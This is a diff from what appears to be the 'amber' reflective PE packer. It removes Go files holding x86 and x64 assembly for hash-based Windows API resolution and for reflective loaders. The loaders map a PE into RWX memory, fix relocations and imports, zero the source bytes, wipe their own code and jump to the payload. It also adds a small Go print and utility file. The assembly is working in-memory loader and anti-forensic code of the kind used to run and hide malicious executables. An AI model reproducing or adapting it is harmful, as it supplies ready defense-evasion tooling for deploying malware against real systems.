pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop r8 ; Clear off the import table address of last module
pop r8 ; Clear off the image base address of last module
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; Pop off the return address
sub rsp,0x20 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; Push back the return address
mov rax,[rax] ; Get the address of the desired API
jmp rax ; Jump to target function
; We now automagically return to the correct caller...
not_found:
add rsp,0x48 ; Clean out the stack
ret ; Return to caller
`
-90
View File
@@ -1,90 +0,0 @@
package amber
// IAT32 https://github.com/EgeBalci/IAT_API
const IAT32 = `
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx,fs:[eax+0x30] ; Get a pointer to the PEB
mov edx,[edx+0x0C] ; Get PEB->Ldr
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
mov edx,[edx+0x10] ; Get this modules base address
push edx ; Save the image base to stack (will use this alot)
add edx,[edx+0x3C] ; "PE" Header
mov edx,[edx+0x80] ; Import table RVA
add edx,[esp] ; Address of Import Table
push edx ; Save the &IT to stack (will use this alot)
mov esi,[esp+4] ; Move the image base to ESI
sub esp,0x08 ; Allocate space for import descriptor counter & hash
sub edx,0x14 ; Prepare the import descriptor pointer for processing
next_desc:
add edx,0x14 ; Get the next import descriptor
cmp dword [edx],0x00 ; Check if import descriptor valid
jz not_found ; If import name array RVA is zero finish parsing
mov esi,[esp+0x08] ; Move the import table address to esi
mov si,[edx+0x0C] ; Get pointer to module name string RVA
xor edi,edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al,'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
crc32 edi,al ; Calculate CRC32 of module name
crc32 edi,ah ; Add NULL for unicode effect
test al,al ; Check if we read all
jnz loop_modname
; We now have the module hash computed
mov [esp+4],edx ; Save the current position in the module list for later
mov [esp],edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov ecx,[edx] ; Get the RVA of import names table
add ecx,[esp+0x0C] ; Add image base and get address of import names table
sub ecx,0x04 ; Go 4 byte back
get_next_func:
mov edi,dword [esp]
; use ecx as our EAT pointer here so we can take advantage of jecxz.
add ecx,0x04 ; 4 byte forward
cmp dword [ecx],0x00 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,[ecx] ; Get the RVA of func name hint
cmp esi,0x80000000 ; Check if the high order bit is set
jns get_next_func ; If not, there is no function name string :(
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
add dword esi,0x02 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
crc32 edi,al ; Calculate CRC32 of function name
test al,al ; Check if AL == 0
jnz loop_funcname ; If we have not reached the null terminator, continue
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
mov edx,[edx] ; Get the import names table RVA of current import descriptor
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
sub ecx,edx ; Find the function array index ?
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
add eax,ecx ; Add the function index
; Now we clean the stack
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ebx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ebx ; Push back the return address
mov eax,[eax] ; Get the address of the desired API
jmp eax ; Jump to target function
; We now automagically return to the correct caller...
not_found:
add esp,0x0F ; Fix the stack
popad ; Restore all registers
ret ; Return
`
-160
View File
@@ -1,160 +0,0 @@
package amber
// LoaderX64 contains the 64 bit PE loader for relocatable PE files
const LoaderX64 = `
start:
pop rsi ; Get the address of image to rsi
call get_ip ; Push the current EIP to stack
get_ip:
cld ; Clear direction flags
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE
mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
mov rdx,[rsp] ; dwSize
xor rcx,rcx ; lpAddress
xchg rsp,rbp ; Swap shadow stack
mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
xchg rsp,rbp ; Swap shadow stack
mov rdi,rax ; Save the new base address to rdi
xor rax,rax ; Zero out the RAX
xor r8,r8 ; Zero out the R8
xor r13,r13 ; Zero out the R13
xor r14,r14 ; Zero out the R14
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size
mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA
add rax,rsi ; Base relocation table memory address
add rcx,rax ; End of base relocation table
calc_delta:
mov rdx,rdi ; Move the new base address to rdx
sub rdx,rbx ; Delta value
mov r13d,dword [rax] ; Move the reloc RVA to R13D
mov r14d,dword [rax+4] ; Move the reloc table size to R14D
add rax,8 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp rcx,rax ; Check if the end of the reloc section
jle reloc_fin ; If yes goto fin
mov r13d,dword [rax] ; Move the new reloc RVA
mov r14d,dword [rax+4] ; Move the new reloc table size
add rax,8 ; Move 8 bytes
fix:
cmp r14w,8 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov r8w,word [rax] ; Move the reloc desc to r8w
cmp r8w,0 ; Check if it is a padding word
je pass ; Pass padding bytes
and r8w,0x0FFF ; Get the last 12 bits
add r8d,r13d ; Add block RVA to desc value
add r8,rsi ; Add the start address of the image
add [r8],rdx ; Add the delta value to calculated absolute address
pass:
sub r14d,2 ; Decrease the index
add rax,2 ; Move to the next reloc desc.
xor r8,r8 ; Zero out r8
jmp fix ; Loop
reloc_fin: ; All done !
xor r14,r14 ; Zero out r14
xor r15,r15 ; Zero out r15
xor rcx,rcx ; Zero out rcx
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to eax
jmp get_modules ; Get other modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to eax
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,0x3F ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,8 ; Increase the IAT index
add r15,8 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov qword [r14],0 ; Insert a NULL qword
ret ; <-
LoadLibraryA:
xchg rbp,rsp ; Swap shadow stack
mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA")
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress")
call api_call ; GetProcAddress(ebx,[esp+4])
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rcx ; Pop the ImageSize into RCX
push rdi ; Save ImageBase to stack
mov r13,rdi ; Copy the new base value to r13
add r13,r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov byte [rdi],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index
inc rdi ; Increase image base index
loop memcpy ; Loop until zero
pop r13 ; Pop the image base to r13
or rcx,-1 ; hProcess
xor rdx,rdx ; lpBaseAddress
xor r8,r8 ; hProcess
xchg rbp,rsp ; Swap shadow stack
mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache")
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
xchg rbp,rsp ; Swap shadow stack
add r13,r12 ; Add the address of entry value to image base
jmp PE_start ; Wipe artifacts from memory and start PE
%s
PE_start:
mov rcx,wipe ; Get the number of bytes until wipe label
lea rax,[rip] ; Get RIP to RAX
nop ; Padding
wipe:
mov byte [rax],0 ; Wipe 1 byte at a time
dec rax ; Decraise RAX
loop wipe ; Loop until RCX = 0
%s
jmp r13 ; Call the AOE
`
-159
View File
@@ -1,159 +0,0 @@
package amber
// LoaderX86 contains the 32 bit PE loader for relocatable PE files
const LoaderX86 = `
start:
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call get_ip ; Push the current EIP to stack
get_ip:
sub [esp],esi ; Subtract &PE from EIP and get image_size
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push 0x40 ; PAGE_EXECUTE_READ_WRITE
push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
push dword [esp+0xC] ; dwSize
push 0 ; lpAddress
push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
push eax ; Save the new image base to stack
xor edx,edx ; Zero out the edx
relocate:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,[eax+esi+0xA4] ; Base relocation table size
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
add eax,esi ; Base relocation table memory address
add ecx,eax ; End of base relocation table
calc_delta:
mov edi,[esp] ; Move the new base address to EDI
sub edi,ebx ; Delta value
push dword [eax] ; Reloc RVA
push dword [eax+4] ; Reloc table size
add eax,8 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp ecx,eax ; Check if the end of the reloc section ?
jle reloc_fin ; If yes goto fin
add esp,8 ; Deallocate old reloc RVA and reloc table size variables
push dword [eax] ; Push new reloc RVA
push dword [eax+4] ; Push new reloc table size
add eax,8 ; Move 8 bytes
fix:
cmp word [esp],8 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov dx,word [eax] ; Move the reloc desc to dx
cmp dx,0 ; Check if it is a padding word
je pass
and dx,0x0FFF ; Get the last 12 bits
add edx,[esp+4] ; Add block RVA to desc value
add edx,esi ; Add the start address of the image
add dword [edx],edi ; Add the delta value to calculated absolute address
pass:
sub dword [esp],2 ; Decrease the index
add eax,2 ; Move to the next reloc desc.
xor edx,edx ; Zero out edx
jmp fix ; Loop
reloc_fin:
pop eax ; Deallocate all vars
pop eax ; ...
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],4 ; Increase the import names table index
add dword [esp+4],4 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov [edx],al ; Move 1 byte of PE image to image base
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
jmp PE_start ; Wipe artifacts from memory and start PE
%s
PE_start:
%s
mov ecx,wipe ; Get the number of bytes until wipe label
call wipe_start ; Call wipe_start
wipe_start:
pop eax ; Get EIP to EAX
wipe:
mov byte [eax],0 ; Wipe 1 byte at a time
dec eax ; Decraise EAX
loop wipe ; Loop until ECX = 0
call edi ; Call the AOE
`
+648 -4
View File
File diff suppressed because one or more lines are too long
+78
View File
@@ -0,0 +1,78 @@
package utils
import (
"fmt"
"math/rand"
"os"
"runtime"
"strings"
"github.com/fatih/color"
"github.com/sirupsen/logrus"
)
func PrintSuccess(formatstr string, a ...interface{}) {
green := color.New(color.FgGreen).Add(color.Bold)
green.Print("[*] ")
fmt.Printf(formatstr, a...)
}
func PrintStatus(formatstr string, a ...interface{}) {
blue := color.New(color.FgBlue).Add(color.Bold)
blue.Print("[*] ")
fmt.Printf(formatstr, a...)
}
func PrintWarning(formatstr string, a ...interface{}) {
yellow := color.New(color.FgYellow).Add(color.Bold)
yellow.Print("[*] ")
fmt.Printf(formatstr, a...)
}
func PrintErr(formatstr string, a ...interface{}) {
red := color.New(color.FgRed).Add(color.Bold)
white := color.New(color.FgWhite).Add(color.Bold)
red.Print("[-] ")
white.Printf(formatstr, a...)
}
func PrintGreen(formatstr string, a ...interface{}) {
green := color.New(color.FgGreen).Add(color.Bold)
green.Printf(formatstr, a...)
}
func PrintFatal(err error) {
if err != nil {
pc, _, _, ok := runtime.Caller(1)
details := runtime.FuncForPC(pc)
if ok && details != nil {
logrus.Fatalf("%s: %s\n", strings.ToUpper(strings.Split(details.Name(), ".")[1]), err)
} else {
logrus.Fatal(err)
}
}
}
// randomString - generates random string of given length
func RandomString(length int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
random := make([]byte, length)
for i := 0; i < length; i++ {
random[i] = charset[rand.Intn(len(charset))]
}
return string(random)
}
// GetFileSize retrieves the size of the file with given file path
func GetFileSize(filePath string) (int, error) {
file, err := os.Open(filePath)
if err != nil {
return 0, err
}
defer file.Close()
stat, err := file.Stat()
if err != nil {
return 0, err
}
return int(stat.Size()), nil
}